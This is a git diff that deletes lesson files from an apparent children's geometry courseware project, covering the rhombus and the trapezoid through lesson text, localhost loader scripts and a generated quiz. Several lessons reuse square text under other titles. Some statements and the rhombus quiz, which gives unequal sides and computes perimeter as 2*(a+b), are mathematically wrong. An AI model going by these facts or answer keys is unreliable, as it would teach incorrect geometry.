-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a10/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a10/css/divs.css
deleted file mode 100755
index b0eef12..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a10/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:59.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a10 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a10/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a10/description.py b/Save_Mathematics/P4/map412m10/map412m10a10/description.py
deleted file mode 100644
index 0c04198..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a10/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a10',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a10/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a10/js/lesson-karma.js
deleted file mode 100755
index b966c9f..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a10/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:59.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a10 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a10/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a10/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a10/js/lesson.js
deleted file mode 100755
index fc5cbaf..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a10/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a10/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a10/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a10/lesson.js
deleted file mode 100644
index 5151366..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a10/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a10/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a10/source.txt b/Save_Mathematics/P4/map412m10/map412m10a10/source.txt
deleted file mode 100755
index a9dd289..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a10/source.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Rhombus</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a11/a.txt b/Save_Mathematics/P4/map412m10/map412m10a11/a.txt
deleted file mode 100755
index 4fb37d6..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a11/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Rhombus</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a11/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a11/css/divs.css
deleted file mode 100755
index 280c222..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a11/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:59.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a11 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a11/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a11/description.py b/Save_Mathematics/P4/map412m10/map412m10a11/description.py
deleted file mode 100644
index cc4819d..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a11/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a11',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a11/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a11/js/lesson-karma.js
deleted file mode 100755
index 162daa1..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a11/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:59.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a11 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a11/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a11/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a11/js/lesson.js
deleted file mode 100755
index 523ef3d..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a11/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a11/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a11/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a11/lesson.js
deleted file mode 100644
index 600cd59..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a11/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a11/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a11/source.txt b/Save_Mathematics/P4/map412m10/map412m10a11/source.txt
deleted file mode 100755
index 4fb37d6..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a11/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Rhombus</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a12/a.txt b/Save_Mathematics/P4/map412m10/map412m10a12/a.txt
deleted file mode 100755
index db71966..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a12/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Rhombus</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the rhombus</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a12/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a12/css/divs.css
deleted file mode 100755
index 62416c9..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a12/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a12/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a12/js/lesson-karma.js
deleted file mode 100755
index e8b242f..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a12/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a12/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a12/js/lesson.js
deleted file mode 100755
index cbde1eb..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a12/js/lesson.js
+++ /dev/null
@@ -1,75 +0,0 @@
-//problems in computing the area and perimeter of rhombi
-
-var something = ['yard','field','parking lot','floor','lake','pasture'];
-var units = ['mm2','cm2','dm2','m2','dam2','hm2','km2'];
-var factor = [0,100,10000,1000000,100000000,1000000000,1000000000000]
-var nunits = units.length;
-
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_operand(min,max) {
-  return Math.random()*(max-min) + min;
-};
-
-function shift(i1,i2,amount){
-  if(i2>i1){
-      f = factor[i2-i1];
-      return amount/f;
-  }else{
-      f = factor[i1-i2];
-      return amount*f;
-  }
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        type = Math.random();
-        if(type < 0.5){
-            //determine area from base and altitude
-            base = parseInt(generate_operand(1,100));
-            altitude = parseInt(generate_operand(1,100));
-            area = base*altitude;
-            quiztxt = quiztxt+'{ ques: "The base and altitude of a rhombus are '
-            quiztxt = quiztxt+base+" "+altitude+". What is it's area?"+'"';
-            quiztxt = quiztxt+", ans:'"+area+"'},\n"
-        }else{
-            //determine perimeter from sides
-            side1 = parseInt(generate_operand(1,100));
-            side2 = parseInt(generate_operand(1,100));
-            perimeter = 2*(side1+side2);
-            quiztxt = quiztxt+'{ ques: "The sides of a rhombus are '
-            quiztxt = quiztxt+side1+" "+side2+". What is it's perimeter?"+'"';
-            quiztxt = quiztxt+", ans:'"+perimeter+"'},\n"
-        };
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location+"";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m10/map412m10a12/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a12/js/quiz.js b/Save_Mathematics/P4/map412m10/map412m10a12/js/quiz.js
deleted file mode 100755
index a3cb109..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a12/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ ques: "The sides of a rhombus are 57 83. What is it's perimeter?", ans:'280'},
-{ ques: "The sides of a rhombus are 91 36. What is it's perimeter?", ans:'254'},
-{ ques: "The base and altitude of a rhombus are 23 73. What is it's area?", ans:'1679'},
-{ ques: "The base and altitude of a rhombus are 65 27. What is it's area?", ans:'1755'},
-{ ques: "The base and altitude of a rhombus are 94 62. What is it's area?", ans:'5828'},
-{ ques: "The sides of a rhombus are 18 68. What is it's perimeter?", ans:'172'},
-{ ques: "The base and altitude of a rhombus are 74 46. What is it's area?", ans:'3404'},
-{ ques: "The sides of a rhombus are 58 89. What is it's perimeter?", ans:'294'},
-{ ques: "The base and altitude of a rhombus are 12 89. What is it's area?", ans:'1068'},
-{ ques: "The sides of a rhombus are 74 97. What is it's perimeter?", ans:'342'},
-{ ques: "The sides of a rhombus are 66 53. What is it's perimeter?", ans:'238'},
-{ ques: "The sides of a rhombus are 63 26. What is it's perimeter?", ans:'178'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a12/source.txt b/Save_Mathematics/P4/map412m10/map412m10a12/source.txt
deleted file mode 100755
index db71966..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a12/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Rhombus</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the rhombus</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a13/a.txt b/Save_Mathematics/P4/map412m10/map412m10a13/a.txt
deleted file mode 100755
index e777b9b..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a13/a.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Trapezium or Trapezoid</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a13/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a13/css/divs.css
deleted file mode 100755
index 16d2154..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a13/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:59.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a13 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a13/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a13/description.py b/Save_Mathematics/P4/map412m10/map412m10a13/description.py
deleted file mode 100644
index e57f687..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a13/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a13',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a13/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a13/js/lesson-karma.js
deleted file mode 100755
index 955d254..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a13/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:59.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a13 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a13/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a13/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a13/js/lesson.js
deleted file mode 100755
index f4c4439..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a13/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a13/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a13/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a13/lesson.js
deleted file mode 100644
index d0171c2..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a13/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a13/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a13/source.txt b/Save_Mathematics/P4/map412m10/map412m10a13/source.txt
deleted file mode 100755
index e777b9b..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a13/source.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Trapezium or Trapezoid</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a14/a.txt b/Save_Mathematics/P4/map412m10/map412m10a14/a.txt
deleted file mode 100755
index 9d1ab05..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a14/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Trapezium or Trapezoid</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a14/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a14/css/divs.css
deleted file mode 100755
index 43a5a59..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a14/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:59.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a14 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a14/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a14/description.py b/Save_Mathematics/P4/map412m10/map412m10a14/description.py
deleted file mode 100644
index 4c56235..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a14/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a14',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a14/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a14/js/lesson-karma.js
deleted file mode 100755
index d4d092e..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a14/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:59.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a14 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a14/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a14/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a14/js/lesson.js
deleted file mode 100755
index 0cef757..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a14/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a14/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a14/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a14/lesson.js
deleted file mode 100644
index 0bc5681..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a14/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a14/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a14/source.txt b/Save_Mathematics/P4/map412m10/map412m10a14/source.txt
deleted file mode 100755
index 9d1ab05..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a14/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Trapezium or Trapezoid</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a15/a.txt b/Save_Mathematics/P4/map412m10/map412m10a15/a.txt
deleted file mode 100755
index 02087fb..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a15/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Trapezium or Trapezoid</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the trapezium or trapezoid</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a15/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a15/css/divs.css
deleted file mode 100755
index 62416c9..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a15/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a15/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a15/js/lesson-karma.js
deleted file mode 100755
index e8b242f..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a15/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a15/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a15/js/lesson.js
deleted file mode 100755
index 41d03f6..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a15/js/lesson.js
+++ /dev/null
@@ -1,90 +0,0 @@
-//problems in computing the area and perimeter of squares given a side
-//problems in determining the length of a side given the area or the perimeter
-
-var something = ['yard','field','parking lot','floor','lake','pasture'];
-var units = ['mm2','cm2','dm2','m2','dam2','hm2','km2'];
-var factor = [0,100,10000,1000000,100000000,1000000000,1000000000000]
-var nunits = units.length;
-
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
